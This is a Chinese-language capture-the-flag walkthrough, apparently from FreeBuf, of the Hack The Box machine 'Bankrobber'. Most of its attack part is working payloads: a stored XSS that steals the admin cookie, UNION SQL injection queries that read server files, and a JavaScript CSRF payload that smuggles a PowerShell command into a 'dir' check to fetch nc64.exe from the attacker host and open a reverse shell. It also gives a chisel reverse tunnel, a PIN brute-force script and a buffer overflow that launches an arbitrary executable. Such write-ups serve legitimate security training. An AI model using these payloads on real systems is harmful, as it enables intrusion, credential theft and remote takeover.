freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课
报告 专辑
行业服务
政 府
CNCERT CNNVD
会员体系（甲方） 会员体系（厂商） 产品名录 企业空间
知识大陆

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户，每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲...
  • 关注
[Meachines] [Insane] Bankrobber XSS-MDOG+SQLI+XSRF+Local-RCE+Bankv2转账模拟应用缓冲...
2024-08-30 18:18:23

信息收集

IP AddressOpening Ports
10.10.10.154TCP:80，443，445，3306

$ nmap -p- 10.10.10.154 --min-rate 1000 -sC -sV -Pn

PORT     STATE SERVICE      VERSION                                               
80/tcp   open  http         Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                     
443/tcp  open  ssl/http     Apache httpd 2.4.39 ((Win64) OpenSSL/1.1.1b PHP/7.3.4)
|_http-server-header: Apache/2.4.39 (Win64) OpenSSL/1.1.1b PHP/7.3.4
|_http-title: E-coin                              
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|   http/1.1
|   http/1.1
|_  http/1.1
445/tcp  open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
3306/tcp open  mysql        MariaDB (unauthorized)
Service Info: Host: BANKROBBER; OS: Windows; CPE: cpe:/o:microsoft:windows

HTTP && XSS-MDOG

image.png

注册用户

image-1.png

登录

image-2.png

image-3.png

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=test

fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/test.js"></script>

Cookie中是以用户名密码再次base64进行身份认证
comment字段添加xss语句。

image-4.png

image-6.png

https://github.com/MartinxMax/MDOG

$ wine MDOG.exe

image-8.png

复制payload,并且启动

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=test

fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24:10000/Main.js"></script>

等待一会获取到cookie

image-9.png

$ echo YWRtaW4= | base64 -d

$ echo SG9wZWxlc3Nyb21hbnRpYw== | base64 -d

image-10.png

username:admin password:Hopelessromantic

image-11.png

image-12.png

将所有文件从默认的 Xampp 文件夹中移出：待办

image-13.png

SQLI

image-14.png

输入2a可以直接判断这是一个字符注入类型闭合

再次输入2'-'1确认存在sql注入

image-15.png

1' order by 3 --

判断存在三个字段

image-16.png

-1' union select 1,@@version,3 --

image-17.png

-1' union select 1,load_file('C:/Windows/win.ini'),3 --

确认可以进行文件读取

根据之前的notes提示网站路径可能在c:/xampp/htdocs

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/index.php')),3 --

image-18.png

-1' union select 1, 'hello', 3 into outfile 'c:/xampp/htdocs/test.php' --

但是没有写权限

Local-RCE

读取backdoorchecker.php

-1' union select 1,to_base64(load_file('c:/xampp/htdocs/admin/backdoorchecker.php')),3 --

image-19.png

image-20.png

<?php
include('../link.php');
include('auth.php');

$username = base64_decode(urldecode($_COOKIE['username']));
$password = base64_decode(urldecode($_COOKIE['password']));
$bad 	  = array('$(','&');
$good 	  = "ls";

if(strtolower(substr(PHP_OS,0,3)) == "win"){
	$good = "dir";
}

if($username == "admin" && $password == "Hopelessromantic"){
	if(isset($_POST['cmd'])){
			// FILTER ESCAPE CHARS
			foreach($bad as $char){
				if(strpos($_POST['cmd'],$char) !== false){
					die("You're not allowed to do that.");
				}
			}
			// CHECK IF THE FIRST 2 CHARS ARE LS
			if(substr($_POST['cmd'], 0,strlen($good)) != $good){
				die("It's only allowed to use the $good command");
			}

			if($_SERVER['REMOTE_ADDR'] == "::1"){
				system($_POST['cmd']);
			} else{
				echo "It's only allowed to access this function from localhost (::1).<br> This is due to the recent hack attempts on our server.";
			}
	}
} else{
	echo "You are not allowed to use this function!";
}
?>

XSS+XSRF + Local-RCE

<!-- index.js -->
var request = new XMLHttpRequest();
var params = 'cmd=dir|powershell -c "iwr -uri 10.10.16.24/nc64.exe -outfile %temp%\\nc.exe"; %temp%\\nc.exe -e cmd.exe 10.10.16.24 10032';
request.open('POST', 'http://localhost/admin/backdoorchecker.php', true);
request.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
request.send(params);

再次返回到普通用户,使管理员触发xss触发CSRF触发rce载荷

POST /user/transfer.php HTTP/1.1
Host: 10.10.10.154
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: http://10.10.10.154
Connection: close
Referer: http://10.10.10.154/user/
Cookie: id=3; username=dGVzdA%3D%3D; password=test

fromId=3&toId=1&amount=1&comment=<script%20src="http://10.10.16.24/index.js"></script>

image-22.png

User.txt

70e06a7bd26c92f93c4ebdb87ed89144

权限提升

TCP 910 转账模拟

建议把会话转移到msf，会稳定比较保险。

C:\xampp\htdocs\admin>netstat -ano

image-23.png

C:\xampp\htdocs\admin>powershell -c "wget 10.10.16.24/chisel.exe -o %TEMP%/chisel.exe"

$ /usr/bin/chisel server -port 10000 --reverse

C:\xampp\htdocs\admin>%TEMP%/chisel.exe client 10.10.16.24:10000 R:910:localhost:910

image-24.png

image-25.png

爆破pin码

#!/usr/bin/env python3

import socket
import sys


for i in range(10000):
    sys.stdout.write(f"\rTrying: {i:04d}")
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(('localhost', 910))
    s.recv(4096)
    s.send(f"{i:04d}\n".encode())
    resp = s.recv(4096)
    if not b"Access denied" in resp:
        print(f"\rFound pin: {i:04d}")
        break
    s.close()

爆破pin码

$ python3 pin.py

image-26.png

pin:0021

BOF

image-27.png

image-29.png

非常不幸...权限不足，我们不能将exe下载下来进行分析

image-30.png

输出看起来像是一个模拟的或实际的应用程序界面，用于处理电子货币的转账操作

image-31.png

当输入一长串字符串时,Executing e-coin transfer tool地址就改变了AAAAAA...

判断缓冲区溢出长度

$ msf-pattern_create -l 100

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

image-32.png

0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

$ msf-pattern_offset -q 0Ab1

只需要提供前四个字节就可以

image-33.png

偏移量32

验证

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwhoami

image-34.png

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\Users\Cortin\AppData\Local\\Temp\malicious_payload.exe

image-35.png

Root.txt

c3ce23d0cb59f405c1acbc37499c151e

# web安全 # CTF
本文为 独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022
被以下专辑收录，发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录
User.txt
    TCP 910 转账模拟
      爆破pin码
        BOF
          Root.txt